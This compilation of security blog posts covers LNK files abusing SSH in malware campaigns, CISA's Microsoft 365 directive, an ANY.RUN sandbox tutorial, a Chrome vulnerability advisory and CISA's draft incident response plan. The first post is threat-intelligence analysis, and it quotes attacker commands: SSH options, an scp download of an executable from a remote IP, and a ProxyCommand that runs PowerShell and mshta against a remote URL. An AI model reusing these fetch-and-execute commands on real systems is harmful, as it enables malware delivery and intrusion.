Overview

Starting this year, Cyble Research and Intelligence Labs (CRIL) has observed a significant trend where threat actors (TAs) have increasingly leveraged LNK files as an initial infection vector in multiple campaigns. These malicious shortcut files, often disguised as legitimate documents, have become a preferred entry point for attackers seeking to compromise systems. This shift in tactics aims to bypass traditional security mechanisms and deceive users into executing the malicious LNK file, thereby initiating a multi-stage cyber attack to deploy the final payload.

In these campaigns, the LNK files are meticulously crafted to execute commands using multiple Living-off-the-Land Binaries (LOLBins). By exploiting the inherent functionalities of these binaries, attackers can download or execute additional malicious components, thereby advancing their attack chain.

While modern endpoint detection and response (EDR) solutions have evolved to detect such activities by monitoring the behavior of LNK files and flagging suspicious use of known LOLBin binaries, this has led TAs to refine their techniques to bypass these advanced security measures.

Recently, CRIL uncovered an additional layer of sophistication in these attacks: the use of SSH commands within malicious LNK files to execute a range of malicious activities. This emerging technique highlights how threat actors leverage SSH commands to maintain persistence and control over compromised systems.

While the malicious use of SSH is not a new tactic, its ongoing relevance as an evasion technique underscores the need for continuous vigilance in monitoring trusted utilities for anomalous behavior.

Pivoting on the identified SSH abuse techniques, CRIL has tracked several campaigns where SSH commands were exploited to carry out malicious operations, further emphasizing the evolution of attack methods. Notably, APT groups have also incorporated this technique into their arsenal, highlighting their growing use in sophisticated cyber campaigns.

SSH using the SCP command

In this campaign, a malicious .LNK file is configured to execute SSH commands that use the scp (Secure Copy Protocol) command to download a malicious file and execute it on the local system. The image below illustrates the contents of the .LNK file.

The use of SSH commands and SCP on Windows systems is relatively less, which may allow malicious activity to go undetected by traditional security solutions that are not specifically configured to monitor such behavior.

The .LNK file is configured with the following SSH options to facilitate the attack:

• -o “PermitLocalCommand=yes”: Allows the execution of a local command once the SSH connection is established.
• -o “StrictHostKeyChecking=no”: Disables host key verification, bypassing prompts or errors when connecting to untrusted servers.

Once the SSH connection is established, the SSH client executes the SCP command:

• scp root@17.43.12.31:/home/revenge/christmas-sale.exe c:userspublic

This command downloads a malicious file named christmas-sale.exe from the /home/revenge directory on the remote server to the local directory c:userspublic. The downloaded file is then executed, advancing the attack chain.

Abuse of SSH and PowerShell Commands

In this campaign, a malicious .LNK file is configured to execute an SSH command that indirectly runs a malicious PowerShell command. The .LNK file utilizes a ProxyCommand option in the SSH command to execute PowerShell, which then invokes mshta.exe to access a remote malicious URL. The execution of this command allows the attacker to download and execute a potentially harmful payload on the local system. The image below shows the contents of the .LNK file.

The .LNK file is configured with the following SSH options:

• -o ProxyCommand=”powershell powershell -Command (‘mshta.exe https://www.google.ca/amp/s/goo.su/IwPQJP’

The SSH client executes the PowerShell command, which runs mshta.exe to fetch and execute the malicious script from the specified URL.

Abuse of SSH and CMD Commands

In this campaign, a malicious .LNK file is crafted to execute an SSH command, which then triggers rundll32 to load a malicious DLL and launch a PDF file (lure document), both located in the current directory. The image below illustrates the contents of the .LNK file.

The SSH client executes cmd.exe, which in turn launches the rundll32 utility to load the malicious DLL and execute the PDF, advancing the attack chain.

By analyzing the artifacts and DLL payload associated with this campaign, we observed behavior resembling stealer malware compiled in Go, which we previously discussed in a blog targeting the Indian Air Force. Additionally, another article highlights similar behavior, attributing the stealer payload (HackBrowserData—an open-source tool) to the APT group ‘Transparent Tribe’.

Conclusion

The combination of LNK files and SSH commands has emerged as a notable trend in recent campaigns, signaling a shift in the tactics used by threat actors. By leveraging SSH commands in conjunction with various LOLBins, attackers can establish connections to remote servers, download payloads, and maintain persistence on compromised systems. As demonstrated in the analyzed campaigns, these techniques are continuously evolving, with threat actors refining their methods to evade detection by exploiting trusted system utilities. As the cyber threat landscape progresses, organizations must remain vigilant and adapt their security strategies to effectively counter these increasingly sophisticated attack vectors.

The Sigma rule to detect these campaigns leveraging SSH commands is available for download from the GitHub repository. 

Recommendations

• To mitigate potential SSH abuse, closely monitor the activities of the legitimate SSH utility, restrict its usage to authorized users, and implement robust detection mechanisms to identify suspicious activities involving ssh.exe, particularly those with abnormal or malicious command-line parameters.
• Disable OpenSSH features on systems where it is not required.

Indicators of Compromise (IoCs)

Indicators	Indicator Type	Description
8bd210b33340ee5cdd9031370eed472fcc7cae566752e39408f699644daf8494	SHA-256	Lnk file – Campaign 1
5b6dc2ecb0f7f2e1ed759199822cb56f5b7bd993f3ef3dab0744c6746c952e36	SHA-256	Lnk file – Campaign 2
0016e1ec6fc56e4214e7d54eb7ab3d84a4a83b4befd856e984d77d6db8fc221d	SHA-256	Lnk file – Campaign 3

References

https://redsiege.com/blog/2024/04/sshishing-abusing-shortcut-files-and-the-windows-ssh-client-for-initial-access/

https://blogs.blackberry.com/en/2024/05/transparent-tribe-targets-indian-government-defense-and-aerospace-sectors

https://blog.eclecticiq.com/operation-flightnight-indian-government-entities-and-energy-sector-targeted-by-cyber-espionage-campaign

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Overview

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has directed the Federal Civilian Executive Branch to implement more than 50 policies to secure Microsoft 365 environments.

The new policies, Binding Operational Directive (BOD) 25-01: Implementing Secure Practices for Cloud Services, apply to Azure Active Directory/Entra ID, Microsoft Defender, Exchange Online, Power Platform, SharePoint Online and OneDrive, and Microsoft Teams.

CISA has the authority to secure the more than 100 agencies that make up the FCEB, which doesn’t include Defense, National Security, and Intelligence agencies. However, CISA said it “strongly recommends all stakeholders implement these policies … Doing so will reduce significant risk and enhance collective resilience across the cybersecurity community.”

CISA plans guidance for other cloud environments next year, including Google Workspace. The new cloud security directive comes amid a flurry of activity from CISA, including a draft National Cyber Incident Response Plan, as the agency’s leadership prepares to depart next month when the new Administration takes office.

Microsoft 365 Security Issues

The Microsoft guidance comes after a year in which Microsoft 365 security came under heavy scrutiny. A U.S. Cyber Safety Review Board (CSRB) report earlier this year detailed “a cascade of security failures at Microsoft” that allowed China-linked threat actors in July 2023 to access “the official email accounts of many of the most senior U.S. government officials managing our country’s relationship with the People’s Republic of China.” A Congressional hearing followed, along with pledges by Microsoft to make security a top priority.

Amazon recently paused a Microsoft 365 rollout after discovering security issues, according to a Bloomberg report, bringing fresh attention to the issue.

CISA’s Microsoft 365 Directive

CISA’s timeline gives federal civilian agencies until June 20, 2025, to “comply with a defined set of these Secure Cloud Baselines, deploy automated configuration assessment tools to check compliance, and to remediate deviations from these policies under BOD 25-01.”

The first policy in the directive requires Azure AD and Entra ID implementations to block legacy protocols that don’t allow multi-factor authentication (MFA).

Other Azure AD and Entra ID policies require that high-risk users and sign-ins be blocked, enforcing phishing-resistant MFA or an alternative, and setting the Authentication Methods Manage Migration feature to Migration Complete. Roughly two-thirds of the 21 policies in the Azure AD and Entra ID section involve securing privileged accounts.

Defender policies call for enabling standard and strict preset security policies, protecting sensitive accounts and information, and enabling logging and alerts.

Exchange policies include disabling SMTP AUTH and automatic forwarding to external domains, implementing SPF and DMARC policies, and enabling external sender warnings and mailbox auditing.

Power Platform policies call for limiting trial, production, and sandbox creation to admins, creating a DLP policy to restrict connector access in the default Power Platform environment, and enabling tenant isolation.

SharePoint Online and OneDrive policies include limiting external sharing and file and folder sharing, and preventing custom scripts on self-service created sites.

Teams controls include limiting access for external, unmanaged, and anonymous users, blocking contact with Skype, and disabling email integration.

CISA also provides assessment tools and guidance through the Secure Cloud Business Applications (SCuBA) project.

Conclusion

CISA has provided federal agencies with strong best practices for securing Microsoft 365 environments. These policies, based on principles of least privilege and strict authentication and access control, could also apply to other cloud environments.

Cyble’s Cloud Security Posture Management (CSPM) and threat intelligence tools offer organizations automated, cost-effective cloud compliance and monitoring, with the ability to detect misconfigurations and leaks before they turn into major incidents.

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Recently, DFIR consultant & content creator/educator Steven from the YouTube channel MyDFIR released a new video showing how DFIR professionals can leverage the ANY.RUN Sandbox to efficiently analyze malware and extract actionable intelligence.  

The video provides a step-by-step guide on investigating real-world threats, including how to quickly identify and analyze Indicators of Compromise (IOCs) and uncover key behavioral insights. 

If you’re looking to improve your investigation workflows and see practical examples of malware analysis in action, we highly recommend watching the video to follow along with the expert’s process. 

Here’s our overview of the key highlights covered in the video. 

About ANY.RUN Sandbox 

The ANY.RUN Sandbox is an interactive malware analysis platform that enables security professionals to analyze malicious files in a live, user-driven environment. It allows DFIR professionals to: 

• Uncover the behaviors and tactics of malware. 
• Quickly gather critical Indicators of Compromise (IOCs). 
• Explore malware configurations and identify threats in real time. 

By providing detailed insights through features like process trees, network monitoring, and integrated ATT&CK mapping, ANY.RUN helps analysts stay ahead of emerging threats and streamline investigations. 

Use Case 1: Investigating Formbook Infostealer 

Formbook is a widespread infostealer that targets credentials, cookies, and other sensitive data. Here’s how DFIR professionals can use ANY.RUN to analyze it. 

Imagine you have received the following alert: malware detected and quarantined. 

The alert also provides details such as: 

• Hostname: SALESPC-01 
• User: Bobby  
• Filename: suchost.exe  
• Current Directory: C:UsersBobbyDownloads 
• SHA256: 472a703381c8fe89f83b0fe4d7960b0942c5694054ba94dd85c249c4c702e0cd 

Use this information to initiate your investigation. 

Check Previous Analyses 

The first thing you should do is check if ANY.RUN analyzed this file previously. Navigate to ANY.RUN’s Reports section, located on the left-hand side.  

Search for the hash of the flagged file. If the file has already been analyzed, review the existing reports. Otherwise, upload the file to initiate a fresh analysis. 

In our case, there are 2 analysis sessions found from October 2024. Let’s choose the first report and look closer at what’s inside.  

After clicking on the existing entry, you’ll be redirected to the ANY.RUN sandbox presented with a lot of useful information. 

Let’s use this analysis to see how the sandbox can help us. 

Examine Initial Results 

ANY.RUN provides an overview of the analysis, including malicious activity indicators, the operating system used for analysis (e.g., Windows 10 64-bit), and a suite of options, such as: 

• Get Sample: Download the file for deeper analysis. 
• IOC Tab: View all related IOCs. 
• MalConf: Explore indicators extracted from the malware’s configuration. 
• Restart: Re-run the analysis if needed. 
• Text Report: Get a detailed overview of findings. 
• Graph: Visualize the process tree and events. 
• ATT&CK Tab: Review associated tactics, techniques, and procedures (TTPs). 
• AI Summary: Summarize key findings. 
• Export Options: Save results in various formats like STIX or MISP JSON. 

Analyze the Process Tree 

Study the parent-child relationship in the process tree to understand how the file behaves.  

For example, Formbook may create a registry key to establish persistence. By clicking on the process, you can view command-line details and trace the registry key creation and file execution paths. 

Investigate Network Activity 

Use the network-related tabs to track events like HTTP requests and connections. ANY.RUN simplifies this by flagging requests with reputation icons: 

• Green checkmark: Known and safe. 
• Question mark: Unknown. 
• Fire icon: Malicious. Document any flagged IOCs, such as suspicious IP addresses or domains, and cross-check them within your environment. 

Leverage Threat Hunting Features 

Utilize tabs like MalConf and ATT&CK to uncover additional insights. For instance, MalConf may reveal hardcoded strings or configurations that can aid in threat hunting.  

The ATT&CK tab provides a breakdown of associated TTPs, helping analysts understand how the malware evades detection or escalates privileges. 

In the current analysis session, these are the TTPs the sandbox identified: 

AI Summary 

The AI-powered summary distills the technical findings into easy-to-understand insights. This is particularly beneficial for: 

• Quickly understanding the file’s behavior without diving into the technical minutiae. 
• Assisting junior analysts or teams new to malware analysis by providing clear explanations of what the file is doing. 

By leveraging these features, DFIR professionals can perform detailed, thorough, and efficient malware analysis, tailoring their investigations to the specific needs of their organization. 

Use Case 2: Analyzing Lumma Stealer with Advanced Features 

The next use case focuses on analyzing a file using the ANY.RUN sandbox, specifically targeting a different infostealer called Luma Stealer. The latter is another malware aimed at exfiltrating data. 

For this demonstration, the free plan is used, but comparisons to the paid plan capabilities will also be highlighted. 

Uploading a File to ANY.RUN 

To analyze a file in ANY.RUN, start by selecting Submit File option from the available 3 options.  

When uploading a file, keep in mind that as a free user Analysis will be public, meaning anyone can view it. Avoid uploading sensitive data. Always consult with your team if unsure. 

The free plan, however, offers privacy options to restrict access to your analysis. 

After selecting the file, you’ll see two key options: 

1. Deep analysis: Ideal for file-based malware investigations. 
2. Safebrowsing: Suitable for URL-based fast analysis. 

For this case, we’re performing Deep Analysis on the Luma Stealer sample.  

Explore the entire analysis session 

Configuration Options 

ANY.RUN allows you to customize execution and environment settings to simulate real-world scenarios. For instance, you can specify custom command-line arguments to trigger specific malware behaviors. 

• The free plan offers 60 seconds of analysis.  
• With the paid plan, you can extend to 10+ minutes for deeper analysis. 

You can also choose where you want to execute the file, for instance, temp directory, desktop, downloads directory, AppData, and more. 

For the network traffic the following options are available: 

• FakeNet: Simulates network traffic. 
• TOR Routing: Routes traffic through Tor for anonymity. 
• Residential Proxy: Assigns a residential IP to your VM. 

Then, choose the operating system, such as Windows 7 (32-bit), Windows 10 (64-bit), and Ubuntu 22.04. The paid plan also offers Windows 11. 

Running the Analysis 

Once configurations are set, click Run Analysis. If you decide to go with the Public mode, a warning will remind you that the analysis data will be publicly accessible. To make your analysis private, you will need to get a Hunter or Enterprise plan subscription. 

The sandbox begins dynamic analysis, executing the file and recording all processes, behaviors, and network activities. 

A timer (top-right) shows the remaining analysis duration. You can add time to capture extended malware behaviors. 

Observing Results in Real Time 

Once the analysis begins, you can interact with the sandbox environment. Have a look at the parent-child relationships of processes generated by the malware. 

On the right corner you can already see the sandbox identifies the processes as Lumma malware and possible phishing. 

Besides, we can note that the sandbox also detected a domain used for C2 connection: 

With the paid plan you can also see how this particular Suricata rule was generated: 

Extracting IOCs and Key Artifacts 

Once the analysis completes, go to the IOC tab to extract key indicators, including: 

• IP addresses 
• Domains 
• File hashes 
• URLs   

Why DFIR Professionals Rely on ANY.RUN 

ANY.RUN’s real-time, interactive capabilities make it a favorite among DFIR experts. Here’s why: 

• Speed: Analyze malware behavior and extract IOCs faster than ever. 
• Ease of use: Its intuitive interface works for both seasoned analysts and newcomers. 
• Flexibility: From free plans to enterprise solutions, ANY.RUN fits teams of all sizes. 
• Threat intelligence integration: Enrich your investigations with additional context to ensure thorough results. 

About ANY.RUN  

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.  

With ANY.RUN you can: 

• Detect malware in seconds
• Interact with samples in real time
• Save time and money on sandbox setup and maintenance
• Record and study all aspects of malware behavior
• Collaborate with your team 
• Scale as you need

Get 14-day free trial of ANY.RUN’s Interactive Sandbox →

The post How DFIR Analysts Use ANY.RUN Sandbox appeared first on ANY.RUN’s Cybersecurity Blog.

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Overview

On December 16, 2024, the Indian Computer Emergency Response Team (CERT-In) issued a vulnerability note (CIVN-2024-0356) regarding multiple security flaws in Google Chrome for Desktop. These vulnerabilities, rated HIGH in severity, could allow remote attackers to execute malicious code or disrupt the system’s functionality through a Denial of Service (DoS) attack.

Affected Software Versions

These vulnerabilities impact the following versions of Google Chrome for Desktop:

• Windows and macOS: Versions prior to 131.0.6778.139/.140 and 131.0.6778.108/.109.
• Linux: Versions prior to 131.0.6778.139 and 131.0.6778.108.

All end-user organizations and individuals using Google Chrome for Desktop are urged to update their browsers immediately to prevent potential exploits.

Impact of the Vulnerabilities

The identified vulnerabilities can lead to the following risks:

1. Remote Code Execution: A remote attacker could execute arbitrary code on a target system using a maliciously crafted webpage.
2. Denial of Service (DoS): Attackers can crash the browser or make it unresponsive, causing system instability.
3. Sensitive Information Disclosure: Exploitation may allow access to sensitive information stored in the browser.

Detailed Description of the Vulnerabilities

Google Chrome, a widely-used web browser across Windows, macOS, and Linux systems, is vulnerable to specific flaws caused by improper handling of memory during certain operations. Below is a breakdown of the vulnerabilities:

1. CVE-2024-12381: Type Confusion in V8

• Severity: High
• Description: The V8 JavaScript engine, used by Google Chrome to process web content, has a Type Confusion issue. Type Confusion occurs when the browser misinterprets the type of an object, leading to unexpected behavior. This flaw can result in heap corruption when a specially crafted HTML page is executed.
• Reported by: Seunghyun Lee (@0x10n) on December 2, 2024.
• Affected Versions: Google Chrome prior to version 131.0.6778.139/.140.

2. CVE-2024-12382: Use After Free in Translate

• Severity: High
• Description: A Use After Free vulnerability exists in Google Chrome’s Translate component. Use After Free occurs when memory is accessed after it has been freed, leading to unexpected behavior or crashes. Exploiting this vulnerability via a crafted HTML page can cause heap corruption or allow remote code execution.
• Reported by: lime (@limeSec_) from TIANGONG Team of Legendsec at QI-ANXIN Group on November 18, 2024.
• Affected Versions: Google Chrome prior to version 131.0.6778.139/.140.

3. CVE-2024-12053: Type Confusion in V8

• Severity: High
• Description: Another Type Confusion vulnerability in the V8 engine impacts earlier versions of Google Chrome. Exploitation through a malicious HTML page can result in object corruption, potentially leading to system compromise.
• Reported by: gal1ium and chluo on November 14, 2024.
• Affected Versions: Google Chrome prior to version 131.0.6778.108/.109.

How Can These Vulnerabilities Be Exploited?

Attackers can take advantage of these vulnerabilities by luring users to visit a specially crafted webpage. Once the webpage is loaded, it can trigger the security flaws, allowing the attacker to:

• Execute malicious code remotely on the target system.
• Corrupt memory, causing the browser to crash.
• Steal sensitive data or compromise system functionality.

Given the widespread use of Google Chrome, it is critical to address these vulnerabilities immediately.

Solution: Update Google Chrome Immediately

Google has addressed these vulnerabilities by releasing updated versions of Chrome for Desktop on the Stable Channel. The updates are being rolled out gradually, and all users are advised to apply them as soon as possible.

Updated Versions

• Windows and macOS: Version 131.0.6778.139/.140
• Linux: Version 131.0.6778.139

To update Google Chrome:

1. Open Google Chrome.
2. Click on the three dots (Menu) in the top-right corner.
3. Navigate to Help > About Google Chrome.
4. Chrome will automatically check for updates and install the latest version.
5. Restart the browser to apply the update.

Security Fixes and Acknowledgements

Google has credited several external security researchers for identifying and reporting these vulnerabilities:

• CVE-2024-12381: Seunghyun Lee (@0x10n) – Awarded $55,000 for discovering the issue.
• CVE-2024-12382: lime (@limeSec_) from TIANGONG Team of Legendsec at QI-ANXIN Group.
• CVE-2024-12053: gal1ium and chluo – Awarded $8,000 for identifying the flaw.

In addition to contributions from external researchers, Google’s internal security teams continue to conduct audits, fuzzing, and other security initiatives to proactively identify and fix vulnerabilities.

Why Prompt Updates Are Crucial

1. Rapid Threat Exploitation: Attackers often exploit known vulnerabilities within days of disclosure. Delaying updates leaves systems vulnerable.
2. Prevention of Data Breaches: Remote code execution could allow attackers to access sensitive data, including saved passwords and browsing history.
3. System Stability: Updating ensures that your browser runs smoothly without crashes caused by these vulnerabilities.

Best Practices for Safe Browsing

In addition to updating Google Chrome, here are some best practices to stay secure:

1. Enable Automatic Updates: Keep your browser and software up-to-date.
2. Use Security Extensions: Install reliable security extensions to block malicious content.
3. Avoid Suspicious Links: Do not click on unknown or untrusted links in emails or messages.
4. Enable Site Isolation: Chrome’s Site Isolation feature helps contain exploits.
5. Regular Security Scans: Use antivirus software to detect and prevent malicious activity.
6. Check Permissions: Regularly review website permissions (e.g., camera, microphone) to limit exposure.

Conclusion

The multiple vulnerabilities identified in Google Chrome highlight the importance of timely software updates to ensure system security and stability. The flaws—primarily Type Confusion in V8 and Use After Free in Translate—can be exploited by attackers to execute arbitrary code, cause system crashes, or steal sensitive data.

All users of Google Chrome for Desktop are urged to update their browsers to the latest stable version (131.0.6778.139/.140) without delay. By applying updates and following safe browsing practices, users can significantly reduce the risk of cyberattacks and ensure a secure online experience.

At Cyble, we remain committed to helping organizations stay ahead of evolving cyber threats through continuous threat monitoring and actionable intelligence. Stay informed, stay secure.

Schedule a demo today to see how Cyble can safeguard your systems against emerging vulnerabilities and cyber threats.

Source:

• https://www.cert-in.org.in/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12382
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12053
• https://chromereleases.googleblog.com/2024/12/stable-channel-update-for-desktop_10.html
• https://chromereleases.googleblog.com/2024/12/stable-channel-update-for-desktop.html
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12381

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Overview

The Cybersecurity and Infrastructure Security Agency (CISA) has published the draft update to the National Cyber Incident Response Plan (NCIRP) for public comment on the Federal Register. Developed through collaboration with the Joint Cyber Defense Collaborative (JCDC) and in close coordination with the Office of the National Cyber Director (ONCD), this update addresses new changes in cybersecurity and incorporates significant changes in policy, law, and operational processes since the plan’s initial release in 2016.

The NCIRP serves as the strategic framework guiding the U.S. response to cyber incidents. It aligns efforts across government agencies, private sector entities, state and local governments, tribal and territorial authorities, and international partners. The plan outlines four critical lines of effort (LOEs) to ensure a cohesive and coordinated approach to incident response: Asset Response, Threat Response, Intelligence Support, and Affected Entity Response. These efforts aim to manage cyber incidents of varying severity and ensure timely actions during the response lifecycle.

The release of this draft update marks an important step in enhancing the nation’s ability to respond effectively to cyber threats‘ growing complexity and sophistication. CISA has worked closely with government and industry partners to create an agile, actionable framework that keeps pace with their rapid evolution.

Key Updates to the National Cyber Incident Response Plan

Several critical updates have been introduced in this draft version of the NCIRP, which are designed to improve coordination and responsiveness during cyber incidents. These changes include:

1. Defined Path for Non-Federal Stakeholder Participation: This update clarifies the process by which non-federal stakeholders, including private sector entities, can participate in cyber incident response efforts. Given the growing role of the private sector in cybersecurity, this path ensures more comprehensive engagement in the event of a major cyber incident.
2. Improved Usability: The plan has been streamlined to enhance its usability. The updated version aligns with the operational lifecycle of incident response, making it more straightforward for agencies and organizations to implement during real-world incidents.
3. Incorporation of Legal and Policy Changes: The draft incorporates the latest legal and policy developments impacting the roles and responsibilities of agencies involved in cyber incident response. These updates ensure that the plan is in line with current regulatory frameworks and legal requirements.
4. Predictable Update Cycle: The NCIRP will now undergo regular updates, ensuring that it remains relevant as the threat landscape evolves. The predictable cycle will allow for continual refinement based on feedback, emerging threats, and changing technological realities.

In her statement on the publication of the draft update, CISA Director Jen Easterly emphasized the necessity of a seamless, agile, and effective incident response framework. She noted that “Today’s increasingly complex threat environment demands that we have a seamless, agile, and effective incident response framework” and encouraged public comment to refine the document further.

Overview of the National Cyber Incident Response Plan

The NCIRP is an important guide for coordinating responses to cyber incidents that could affect national security, the economy, or public health. The plan was initially published in 2016 and is an essential component of the U.S. government’s broader cybersecurity strategy. The 2023 National Cybersecurity Strategy called for the update to reflect new cyber threats, organizational changes, and policy shifts.

The NCIRP is not a step-by-step guide but rather a flexible framework for coordinating efforts during a cyber incident. It defines the roles and responsibilities of various stakeholders, including federal agencies, state, local, tribal, and territorial (SLTT) governments, private sector entities, and civil society organizations. By laying out these roles and mechanisms, the NCIRP fosters coordinated action across sectors and jurisdictions, ensuring that resources are deployed effectively during a crisis.

Four Lines of Effort for Cyber Incident Response

The NCIRP outlines four primary lines of effort that guide the U.S. government’s response to cyber incidents. These are:

• Asset Response: Led by CISA, this effort focuses on helping affected entities protect their assets and mitigate the impacts of a cyber incident. It includes providing technical assistance to organizations and supporting them in securing critical infrastructure.
• Threat Response: The Department of Justice (DOJ), the FBI, and the National Cyber Investigative Joint Task Force (NCIJTF) are responsible for leading efforts to neutralize cyber threats and track down cybercriminals. The FBI, in particular, plays a central role in law enforcement response and investigations.
• Intelligence Support: The Office of the Director of National Intelligence (ODNI), through the Cyber Threat Intelligence Integration Center (CTIIC), provides essential intelligence to guide response efforts. This line of effort helps ensure that the U.S. government has the latest information on adversary tactics, techniques, and procedures (TTPs).
• Affected Entity Response: In cases where a federal agency or private sector organization is directly impacted, it is responsible for leading its own response, though it coordinates with CISA, the Department of Defense (DOD), or other federal partners as needed. This effort is vital for managing the operational continuity of affected entities.

These lines of effort are managed through structured coordination bodies such as the Cyber Unified Coordination Group (Cyber UCG), which brings together stakeholders from across the government and the private sector to ensure unified, cohesive action. The Cyber Response Group (CRG) focuses on broader policy and strategic coordination, ensuring alignment with national cybersecurity priorities.

The Detection and Response Phases

Cyber incident response is broken down into two main phases: Detection and Response.

1. Detection: This phase involves continuous monitoring, analysis, and engagement with critical infrastructure owners to validate whether an incident is significant enough to require a full-scale response. Detection includes analyzing anomalies, working with the cybersecurity community, and validating the severity of the incident.
2. Response: Once an incident has been confirmed as significant, the response phase begins. This phase focuses on containment, eradication, and recovery, as well as supporting law enforcement in their efforts to attribute and hold perpetrators accountable. The response efforts also include supporting affected entities as they recover and restore services.

In both phases, the roles of federal agencies, SLTT governments, and private sector entities are critical. The JCDC plays a central role in coordinating public-private collaboration, ensuring that both sectors are aligned in their efforts to defend against and recover from cyber incidents.

Conclusion

The updated National Cyber Incident Response Plan (NCIRP) emphasizes continuous improvement and collaboration. After an incident, the Cyber Response Group (CRG) reviews the response and prepares a report, which helps refine future efforts. The Cyber Safety Review Board also provides independent recommendations to strengthen cybersecurity.

CISA is committed to regularly updating the NCIRP, incorporating feedback from the public and private sectors, and adapting to new threats and technologies. The Joint Cyber Defense Collaborative (JCDC) plays a key role in ensuring coordinated efforts. The updated NCIRP aims to strengthen national preparedness and ensure effective response to future cyber incidents.

References

• https://www.cisa.gov/news-events/news/cisa-publishes-draft-national-cyber-incident-response-plan-public-comment
• https://www.cisa.gov/sites/default/files/2024-12/NCIRP%20Update%20Public%20Comment%20Draft%20508c.pdf

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